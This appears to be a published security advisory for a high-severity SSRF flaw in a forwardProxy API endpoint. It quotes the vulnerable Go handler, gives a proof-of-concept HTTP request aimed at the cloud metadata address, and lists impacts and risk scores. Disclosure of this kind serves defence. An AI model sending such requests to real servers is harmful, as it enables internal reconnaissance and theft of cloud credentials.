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GHSA-56cv-c5p2-j2wg

HighCVSS 8.3 / 10
Published Mar 12, 2026·Last modified Mar 23, 2026
Affected Components(0)

No affected components available

Description

Summary

The /api/network/forwardProxy endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services.

Affected Code

File: /kernel/api/network.go (Lines 153-317)

func forwardProxy(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)

    arg, ok := util.JsonArg(c, ret)
    if !ok {
        return
    }

    destURL := arg["url"].(string)
    // VULNERABILITY: Only validates URL format, not destination
    if _, e := url.ParseRequestURI(destURL); nil != e {
        ret.Code = -1
        ret.Msg = "invalid [url]"
        return
    }

    // ... HTTP request is made to user-controlled URL ...
    resp, err := request.Send(method, destURL)
    
    // Full response body is returned to the user
    bodyData, err := io.ReadAll(resp.Body)
    // ...
    ret.Data = data  // Contains full response body
}

PoC

  • First, authenticate with your access auth code and copy the authenticated cookie.
  • Now use the request below for SSRF to Access Cloud Metadata.
POST /api/network/forwardProxy HTTP/1.1
Host: <HOST>
Cookie: siyuan=<COOKIE>
Content-Length: 102

{"url":"http://169.254.169.254/metadata/v1/","method":"GET","headers":[],"payload":"","timeout":7000}'
<img width="1230" height="754" alt="Screenshot 2026-03-11 at 1 23 36 AM" src="https://github.com/user-attachments/assets/60486dba-1ccd-4287-8073-b803854756a2" />

Impact

  • Internal Network Reconnaissance: Attackers can scan internal services
  • Cloud Credential Theft: Potential access to cloud metadata and IAM credentials
  • Data Exfiltration: Server can be used as a proxy to access internal resources
  • Firewall Bypass: Requests originate from trusted internal IP
Risk Scores
Base Score
8.3

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a low impact on the availability of the system.

Threat Intelligence
7.6

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.28%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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High severity
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